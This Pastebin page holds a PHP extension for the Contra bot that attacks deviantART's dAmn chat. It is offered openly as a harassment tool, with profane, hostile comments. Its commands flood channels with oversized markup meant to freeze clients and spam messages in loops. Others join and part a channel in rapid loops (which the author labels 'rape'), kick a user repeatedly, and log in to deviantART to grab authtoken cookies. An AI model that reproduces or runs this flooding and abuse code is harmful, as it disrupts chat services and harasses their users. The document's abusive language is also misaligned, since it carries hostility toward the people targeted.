Advertisement
infernotorrent

Untitled

Feb 27th, 2010
52
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.07 KB | None | 0 0
  1. <?php
  2.  
  3. // This is Shark for Contra
  4. // Author; i-hate-mushrooms <infernowasp@gmail.com>
  5. // This is how I ruin your rainbow, motherfuckers
  6. // FUCK YOUR SHIT
  7.  
  8. class dAmn_Shark extends extension {
  9.    
  10.     public $name = 'Shark';
  11.     public $version = '1';
  12.     public $about = 'No info, beat the author.';
  13.     public $status = true;
  14.     public $author = 'i-hate-mushrooms';
  15.     public $type = EXT_CUSTOM;
  16.    
  17.     function init() {
  18.        
  19.             $this->addCmd('f', 'c_freeze', 99);
  20.             $this->addCmd('s', 'c_spam', 99);
  21.             $this->addCmd('r', 'c_rape', 99);
  22.             $this->addCmd('t', 'c_gettoken', 99);
  23.             $this->addCmd('sr', 'c_spamrape', 99);
  24.             $this->addCmd('log', 'c_login', 99);
  25.             $this->addCmd('jsp', 'c_joinspampart', 99);
  26.             $this->addCmd('kr', 'c_kickrape', 99);
  27. //          $this->addCmd('getcookie', 'c_cookie', 99);
  28.  
  29.        
  30.             $this->cmdHelp('f', 'Freeze.');
  31.             $this->cmdHelp('s', 'Spam.');
  32.             $this->cmdHelp('r', 'Rape.');
  33.             $this->cmdHelp('t', 'Token.');
  34.             $this->cmdHelp('sr', 'SR.');
  35.             $this->cmdHelp('log', 'Login.');
  36.             $this->cmdHelp('jsp', 'No help for this command, beat the author.');
  37.             $this->cmdHelp('kr', 'KR.');
  38. //          $this->cmdHelp('getcookie', 'No help for this command, beat the author.');
  39. }
  40.  
  41.     function c_freeze($ns, $from, $message, $target) {
  42.             $tg = args($message, 1);
  43.             $nu = args($message, 2, true);
  44.     if (empty($tg))
  45.             $this->dAmn->say($ns, $from.': <b>Usage:</b> f channel number');
  46.     else   
  47.             $this->dAmn->join("chat:$tg");
  48.     for ($i = 0; $i < $nu; $i++) {
  49.             $this->dAmn->say("chat:$tg", "<abbr title='" . str_repeat('.', 30000) . "'>&#09;</abbr>");
  50. }
  51. }
  52.    
  53.     function c_spam($ns, $from, $message, $target) {
  54.             $tg = args($message, 1);
  55.             $nu = args($message, 2);
  56.             $msg = args($message, 3, true);
  57.     if (empty($tg))
  58.             $this->dAmn->say($ns, $from.': <b>Usage:</b> s channel number message');
  59.     else   
  60.         $this->dAmn->join("chat:$tg");
  61.     for($i = 0; $i < $nu; $i++) {
  62.             $this->dAmn->say("chat:$tg", $msg);
  63. }
  64. }
  65.        
  66.     function c_joinspampart($ns, $from, $message, $target) {
  67.             $tg = args($message, 1);
  68.             $nu = args($message, 2);
  69.             $msg = args($message, 3, true);
  70.     if (empty($tg))
  71.             $this->dAmn->say($ns, $from.': <b>Usage:</b> s channel number message');
  72.     else   
  73.             $this->dAmn->join("chat:$tg");
  74.     for ($i = 0; $i < $nu; $i++) {
  75.             $this->dAmn->say("chat:$tg", $msg);
  76. }
  77.             $this->dAmn->part("chat:$tg");
  78. }
  79.        
  80.     function c_rape($ns, $from, $message, $target) {
  81.             $tg = args($message, 1);
  82.             $nu = args($message, 2, true);
  83.     if (empty($tg))
  84.             $this->dAmn->say($ns, $from.': <b>Usage:</b> s channel number');
  85.     else {
  86.     for ($i = 0; $i < $nu; $i++) {
  87.             $this->dAmn->part("chat:$tg");
  88.             $this->dAmn->join("chat:$tg");
  89. }
  90. }
  91. }
  92.            
  93.     function c_gettoken($ns, $from, $message, $target) {
  94.             $user = args($message, 1);
  95.             $pass = args($message, 2);
  96.             $un = args($message, 3, true);
  97.     if (empty($user))
  98.     return
  99.             $this->dAmn->say($ns, $from.': <b>Usage:</b> At least provide a username.');
  100.     elseif (empty($pass)) {
  101.             $this->dAmn->say($ns, $from.': Enter password in bot console.');
  102.     print "What's the password? ";
  103.             $pass = trim(fgets(STDIN));
  104. }
  105.             $cookie = cookiegrab($user, $pass);
  106.     if (empty($cookie))
  107.             $this->dAmn->say($ns, $from.': Invalid username or password.');
  108.             $this->dAmn->say($ns, $from.': ' . $cookie['authtoken']);
  109. }
  110.        
  111.     function c_spamrape($ns, $from, $message, $target) {
  112.             $tg = args($message, 1);
  113.             $nu = args($message, 2);
  114.             $msg = args($message, 3, true);
  115.     if (empty($tg))
  116.             $this->dAmn->say($ns, $from.': <b>Usage:</b> s channel number');
  117.     else
  118.     for($i = 0; $i < $nu; $i++) {
  119.             $this->dAmn->join("chat:$tg");
  120.             $this->dAmn->say("chat:$tg", $msg);
  121.             $this->dAmn->part("chat:$tg");
  122. }
  123. }
  124.        
  125.     function c_login($ns, $from, $message, $target) {
  126.             $user = args($message, 1);
  127.             $pass = args($message, 2);
  128.             $wut = args($message, 3, true);
  129.     if (empty($user))
  130.             $this->dAmn->say($ns, $from.': At least provide a username.');
  131.     elseif (empty($pass)) {
  132.             $this->dAmn->say($ns, $from.': Enter password in the console.');
  133.     print "What's $user's password? ";
  134.             $pass = trim(fgets(STDIN));
  135. }
  136.             $cookie = cookiegrab($user, $pass);
  137.     if (empty($cookie))
  138.             $this->dAmn->say($ns, $from.': Invalid username or password.');
  139.             $this->Bot->username = $user;
  140.             $this->Bot->cookie['authtoken'] = $cookie['authtoken'];
  141.             $this->dAmn->disconnect();
  142. }
  143.     function c_kickrape($ns, $from, $message, $target) {
  144.             $user = args($message, 1);
  145.             $nu = args($message, 2);
  146.             $res = args($message, 3, true);
  147.     if(empty($user)) {
  148.             $this->dAmn->say($ns, $from.': <b>Usage:</b> kr username number reason');
  149.     return;
  150. }
  151.     if (!is_numeric($nu))
  152.             $r = args($message, 2, true); $r = $r==''?false:$r;
  153.     for($i = 0; $i < $nu; $i++) {
  154.         sleep(1);
  155.             $this->dAmn->kick($target, $user, $res);
  156.             }
  157.         }
  158.     }
  159.  
  160.         define('LBR', chr(10));
  161.     function cookiegrab($username, $pass) {
  162.    
  163.             $socket = fsockopen('ssl://www.deviantart.com', 443);
  164.     if      ($socket === false) {
  165.     echo '>> Unable to connect.'.LBR;
  166.     echo '>> Check your connection.'.LBR;
  167.     return 1;
  168. }
  169.             $POST = 'ref='.urlencode('https://www.deviantart.com/users/login');
  170.             $POST.= '&username='.urlencode($username);
  171.             $POST.= '&password='.urlencode($pass);
  172.             $POST.= '&reusetoken=1' . chr(0);
  173.         fputs($socket, 'POST /users/login HTTP/1.1'.LBR);
  174.         fputs($socket, 'Host: www.deviantart.com'.LBR);
  175.         fputs($socket, 'User-Agent: Authtoken grabber'.LBR);
  176.         fputs($socket, 'Accept: text/html'.LBR);
  177.         fputs($socket, 'Cookie: skipintro=1'.LBR);
  178.         fputs($socket, 'Content-Type: application/x-www-form-urlencoded'.LBR);
  179.         fputs($socket, 'Content-Length: ' . strlen ($POST) . LBR . LBR . $POST);
  180.             $response = '';
  181.     while (!feof ($socket))
  182.             $response .= fgets ($socket, 500);
  183.         fclose ($socket);
  184.     if(!empty($response)) {
  185.             $response = urldecode($response);
  186.             $response = substr($response, strpos($response,'=')+1);
  187.             $cookie = unserialize(substr($response, 0, strpos($response, ';};')+2));
  188.     if(is_array($cookie)) {
  189.     if(array_key_exists('authtoken', $cookie))
  190.     return $cookie;
  191. }
  192. }
  193.     return Null;  
  194. }
  195.  
  196. new dAmn_Shark;
  197.  
  198. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement